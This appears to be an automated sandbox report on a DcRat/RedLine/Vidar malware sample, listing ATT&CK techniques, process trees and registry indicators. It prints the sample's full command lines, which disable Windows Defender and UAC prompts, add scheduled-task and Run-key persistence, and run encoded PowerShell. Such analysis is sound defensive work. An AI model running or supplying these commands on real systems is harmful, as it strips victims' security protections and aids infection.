dcrat | 17fb5e033155ad2e4ab982cea691d9e2af6c93c4a59be6dcee3714b1a9ed46a5

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs
evasion

Modify Registry
T1112

Modify Existing Service
T1031

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" reg.exe
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4900-279-0x0000000000400000-0x0000000000428000-memory.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1088

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Downloads MZ/PE file

Executes dropped EXE 12 IoCs

Processes:

EF5.exe1271.exe2137.exe2280.exeEF5.exeEF5.exeEF5.exebuild2.exebuild3.exebuild2.exe2280.exemstsca.exe

pid	process
1404	EF5.exe
4588	1271.exe
4044	2137.exe
3472	2280.exe
4772	EF5.exe
4968	EF5.exe
5084	EF5.exe
3960	build2.exe
4768	build3.exe
3160	build2.exe
4900	2280.exe
4736	mstsca.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

EF5.exe2280.exeEF5.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	EF5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	2280.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	EF5.exe

Loads dropped DLL 4 IoCs

Processes:

regsvr32.exebuild2.exe

pid process

4000 regsvr32.exe
4000 regsvr32.exe
3160 build2.exe
3160 build2.exe
Modifies file permissions 1 TTPs 1 IoCs
discovery

File Permissions Modification
T1222

Processes:

icacls.exe

pid process

2436 icacls.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
4000	regsvr32.exe
4000	regsvr32.exe
3160	build2.exe
3160	build2.exe

pid	process
2436	icacls.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

EF5.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\38506760-c279-4ea7-9d09-b2183602b75e\\EF5.exe\" --AutoStart"	EF5.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

52 api.2ip.ua
41 api.2ip.ua
42 api.2ip.ua

flow	ioc
52	api.2ip.ua
41	api.2ip.ua
42	api.2ip.ua

Suspicious use of SetThreadContext 4 IoCs

Processes:

EF5.exeEF5.exebuild2.exe2280.exe

description	pid	process	target process
PID 1404 set thread context of 4772	1404	EF5.exe	EF5.exe
PID 4968 set thread context of 5084	4968	EF5.exe	EF5.exe
PID 3960 set thread context of 3160	3960	build2.exe	build2.exe
PID 3472 set thread context of 4900	3472	2280.exe	2280.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

file.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	file.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

build2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	build2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	build2.exe

Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

1316 schtasks.exe
5024 schtasks.exe

pid	process
1316	schtasks.exe
5024	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

file.exe

pid	process
4804	file.exe
4804	file.exe
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548
2548

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

pid process

2548
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

file.exe

pid process

4804 file.exe
2548
2548
2548
2548

pid	process
2548

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

2280.exewmic.exepowershell.exeWMIC.exe

description	pid	process
Token: SeDebugPrivilege	3472	2280.exe
Token: SeIncreaseQuotaPrivilege	4184	wmic.exe
Token: SeSecurityPrivilege	4184	wmic.exe
Token: SeTakeOwnershipPrivilege	4184	wmic.exe
Token: SeLoadDriverPrivilege	4184	wmic.exe
Token: SeSystemProfilePrivilege	4184	wmic.exe
Token: SeSystemtimePrivilege	4184	wmic.exe
Token: SeProfSingleProcessPrivilege	4184	wmic.exe
Token: SeIncBasePriorityPrivilege	4184	wmic.exe
Token: SeCreatePagefilePrivilege	4184	wmic.exe
Token: SeBackupPrivilege	4184	wmic.exe
Token: SeRestorePrivilege	4184	wmic.exe
Token: SeShutdownPrivilege	4184	wmic.exe
Token: SeDebugPrivilege	4184	wmic.exe
Token: SeSystemEnvironmentPrivilege	4184	wmic.exe
Token: SeRemoteShutdownPrivilege	4184	wmic.exe
Token: SeUndockPrivilege	4184	wmic.exe
Token: SeManageVolumePrivilege	4184	wmic.exe
Token: 33	4184	wmic.exe
Token: 34	4184	wmic.exe
Token: 35	4184	wmic.exe
Token: 36	4184	wmic.exe
Token: SeIncreaseQuotaPrivilege	4184	wmic.exe
Token: SeSecurityPrivilege	4184	wmic.exe
Token: SeTakeOwnershipPrivilege	4184	wmic.exe
Token: SeLoadDriverPrivilege	4184	wmic.exe
Token: SeSystemProfilePrivilege	4184	wmic.exe
Token: SeSystemtimePrivilege	4184	wmic.exe
Token: SeProfSingleProcessPrivilege	4184	wmic.exe
Token: SeIncBasePriorityPrivilege	4184	wmic.exe
Token: SeCreatePagefilePrivilege	4184	wmic.exe
Token: SeBackupPrivilege	4184	wmic.exe
Token: SeRestorePrivilege	4184	wmic.exe
Token: SeShutdownPrivilege	4184	wmic.exe
Token: SeDebugPrivilege	4184	wmic.exe
Token: SeSystemEnvironmentPrivilege	4184	wmic.exe
Token: SeRemoteShutdownPrivilege	4184	wmic.exe
Token: SeUndockPrivilege	4184	wmic.exe
Token: SeManageVolumePrivilege	4184	wmic.exe
Token: 33	4184	wmic.exe
Token: 34	4184	wmic.exe
Token: 35	4184	wmic.exe
Token: 36	4184	wmic.exe
Token: SeShutdownPrivilege	2548
Token: SeCreatePagefilePrivilege	2548
Token: SeDebugPrivilege	3524	powershell.exe
Token: SeIncreaseQuotaPrivilege	4396	WMIC.exe
Token: SeSecurityPrivilege	4396	WMIC.exe
Token: SeTakeOwnershipPrivilege	4396	WMIC.exe
Token: SeLoadDriverPrivilege	4396	WMIC.exe
Token: SeSystemProfilePrivilege	4396	WMIC.exe
Token: SeSystemtimePrivilege	4396	WMIC.exe
Token: SeProfSingleProcessPrivilege	4396	WMIC.exe
Token: SeIncBasePriorityPrivilege	4396	WMIC.exe
Token: SeCreatePagefilePrivilege	4396	WMIC.exe
Token: SeBackupPrivilege	4396	WMIC.exe
Token: SeRestorePrivilege	4396	WMIC.exe
Token: SeShutdownPrivilege	4396	WMIC.exe
Token: SeDebugPrivilege	4396	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4396	WMIC.exe
Token: SeRemoteShutdownPrivilege	4396	WMIC.exe
Token: SeUndockPrivilege	4396	WMIC.exe
Token: SeManageVolumePrivilege	4396	WMIC.exe
Token: 33	4396	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

regsvr32.exe1271.exe2280.execmd.exeEF5.execmd.exeEF5.exeEF5.exe

description	pid	process	target process
PID 2548 wrote to memory of 5060	2548		regsvr32.exe
PID 2548 wrote to memory of 5060	2548		regsvr32.exe
PID 5060 wrote to memory of 4000	5060	regsvr32.exe	regsvr32.exe
PID 5060 wrote to memory of 4000	5060	regsvr32.exe	regsvr32.exe
PID 5060 wrote to memory of 4000	5060	regsvr32.exe	regsvr32.exe
PID 2548 wrote to memory of 1404	2548		EF5.exe
PID 2548 wrote to memory of 1404	2548		EF5.exe
PID 2548 wrote to memory of 1404	2548		EF5.exe
PID 2548 wrote to memory of 4588	2548		1271.exe
PID 2548 wrote to memory of 4588	2548		1271.exe
PID 2548 wrote to memory of 4588	2548		1271.exe
PID 2548 wrote to memory of 4044	2548		2137.exe
PID 2548 wrote to memory of 4044	2548		2137.exe
PID 2548 wrote to memory of 4044	2548		2137.exe
PID 2548 wrote to memory of 3472	2548		2280.exe
PID 2548 wrote to memory of 3472	2548		2280.exe
PID 2548 wrote to memory of 3472	2548		2280.exe
PID 2548 wrote to memory of 4648	2548		explorer.exe
PID 2548 wrote to memory of 4648	2548		explorer.exe
PID 2548 wrote to memory of 4648	2548		explorer.exe
PID 2548 wrote to memory of 4648	2548		explorer.exe
PID 2548 wrote to memory of 5012	2548		explorer.exe
PID 2548 wrote to memory of 5012	2548		explorer.exe
PID 2548 wrote to memory of 5012	2548		explorer.exe
PID 4588 wrote to memory of 4184	4588	1271.exe	wmic.exe
PID 4588 wrote to memory of 4184	4588	1271.exe	wmic.exe
PID 4588 wrote to memory of 4184	4588	1271.exe	wmic.exe
PID 3472 wrote to memory of 3524	3472	2280.exe	powershell.exe
PID 3472 wrote to memory of 3524	3472	2280.exe	powershell.exe
PID 3472 wrote to memory of 3524	3472	2280.exe	powershell.exe
PID 4588 wrote to memory of 736	4588	1271.exe	cmd.exe
PID 4588 wrote to memory of 736	4588	1271.exe	cmd.exe
PID 4588 wrote to memory of 736	4588	1271.exe	cmd.exe
PID 736 wrote to memory of 4396	736	cmd.exe	WMIC.exe
PID 736 wrote to memory of 4396	736	cmd.exe	WMIC.exe
PID 736 wrote to memory of 4396	736	cmd.exe	WMIC.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 4588 wrote to memory of 3864	4588	1271.exe	cmd.exe
PID 4588 wrote to memory of 3864	4588	1271.exe	cmd.exe
PID 4588 wrote to memory of 3864	4588	1271.exe	cmd.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 1404 wrote to memory of 4772	1404	EF5.exe	EF5.exe
PID 3864 wrote to memory of 4188	3864	cmd.exe	WMIC.exe
PID 3864 wrote to memory of 4188	3864	cmd.exe	WMIC.exe
PID 3864 wrote to memory of 4188	3864	cmd.exe	WMIC.exe
PID 4772 wrote to memory of 2436	4772	EF5.exe	icacls.exe
PID 4772 wrote to memory of 2436	4772	EF5.exe	icacls.exe
PID 4772 wrote to memory of 2436	4772	EF5.exe	icacls.exe
PID 4772 wrote to memory of 4968	4772	EF5.exe	EF5.exe
PID 4772 wrote to memory of 4968	4772	EF5.exe	EF5.exe
PID 4772 wrote to memory of 4968	4772	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe
PID 4968 wrote to memory of 5084	4968	EF5.exe	EF5.exe

outlook_office_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

outlook_win_path 1 IoCs

Processes:

explorer.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	explorer.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- DcRat
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:4804

C:\Windows\system32\regsvr32.exe
regsvr32 /s C:\Users\Admin\AppData\Local\Temp\DAC.dll
1⤵
- Suspicious use of WriteProcessMemory
PID:5060

C:\Windows\SysWOW64\regsvr32.exe
/s C:\Users\Admin\AppData\Local\Temp\DAC.dll
2⤵
- Loads dropped DLL
PID:4000

C:\Users\Admin\AppData\Local\Temp\EF5.exe
C:\Users\Admin\AppData\Local\Temp\EF5.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1404

C:\Users\Admin\AppData\Local\Temp\EF5.exe
C:\Users\Admin\AppData\Local\Temp\EF5.exe
2⤵
- DcRat
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4772

C:\Windows\SysWOW64\icacls.exe
icacls "C:\Users\Admin\AppData\Local\38506760-c279-4ea7-9d09-b2183602b75e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
3⤵
- Modifies file permissions
PID:2436

C:\Users\Admin\AppData\Local\Temp\EF5.exe
"C:\Users\Admin\AppData\Local\Temp\EF5.exe" --Admin IsNotAutoStart IsNotTask
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4968

C:\Users\Admin\AppData\Local\Temp\EF5.exe
"C:\Users\Admin\AppData\Local\Temp\EF5.exe" --Admin IsNotAutoStart IsNotTask
4⤵
- Executes dropped EXE
- Checks computer location settings
PID:5084

C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build2.exe
"C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build2.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3960

C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build2.exe
"C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build2.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3160

C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build3.exe
"C:\Users\Admin\AppData\Local\19e44a3c-f6ef-410c-be94-8179229abc6d\build3.exe"
5⤵
- Executes dropped EXE
PID:4768

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
6⤵
- DcRat
- Creates scheduled task(s)
PID:1316

C:\Users\Admin\AppData\Local\Temp\1271.exe
C:\Users\Admin\AppData\Local\Temp\1271.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4588

C:\Windows\SysWOW64\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic path win32_VideoController get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:736

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic path win32_VideoController get name
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4396

C:\Windows\SysWOW64\cmd.exe
cmd /C "wmic cpu get name"
2⤵
- Suspicious use of WriteProcessMemory
PID:3864

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic cpu get name
3⤵
PID:4188

C:\Users\Admin\AppData\Local\Temp\2137.exe
C:\Users\Admin\AppData\Local\Temp\2137.exe
1⤵
- Executes dropped EXE
PID:4044

C:\Users\Admin\AppData\Local\Temp\2280.exe
C:\Users\Admin\AppData\Local\Temp\2280.exe
1⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQAwAA==
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3524

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Tqqcbghwdivfantidef.bat" "
2⤵
PID:4252

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f
3⤵
PID:1312

C:\Windows\SysWOW64\reg.exe
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t "REG_DWORD" /d 0 /f
3⤵
- UAC bypass
PID:4644

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
3⤵
PID:2076

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
3⤵
PID:2716

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
3⤵
PID:3824

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
3⤵
PID:548

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4576

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:4220

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1012

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:2520

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
3⤵
- Modifies Windows Defender Real-time Protection settings
PID:1884

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
3⤵
PID:4448

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
3⤵
PID:1508

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
3⤵
PID:3384

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
3⤵
PID:3620

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:4432

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
3⤵
PID:768

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
3⤵
PID:2440

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
3⤵
PID:2404

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
3⤵
PID:4924

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
3⤵
PID:3900

C:\Windows\SysWOW64\schtasks.exe
schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
3⤵
PID:1684

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
3⤵
PID:652

C:\Windows\SysWOW64\reg.exe
reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
3⤵
PID:3592

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4688

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:3276

C:\Windows\SysWOW64\reg.exe
reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
3⤵
PID:4792

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:648

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:1704

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:1492

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
3⤵
PID:4660

C:\Windows\SysWOW64\reg.exe
reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
3⤵
- Modifies security service
PID:4832

C:\Users\Admin\AppData\Local\Temp\2280.exe
C:\Users\Admin\AppData\Local\Temp\2280.exe
2⤵
- Executes dropped EXE
PID:4900

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
- Accesses Microsoft Outlook profiles
- outlook_office_path
- outlook_win_path
PID:4648

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5012

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:4736

C:\Windows\SysWOW64\schtasks.exe
/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
2⤵
- DcRat
- Creates scheduled task(s)
PID:5024

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

T1053

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

File Permissions Modification

T1222

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

System Information Discovery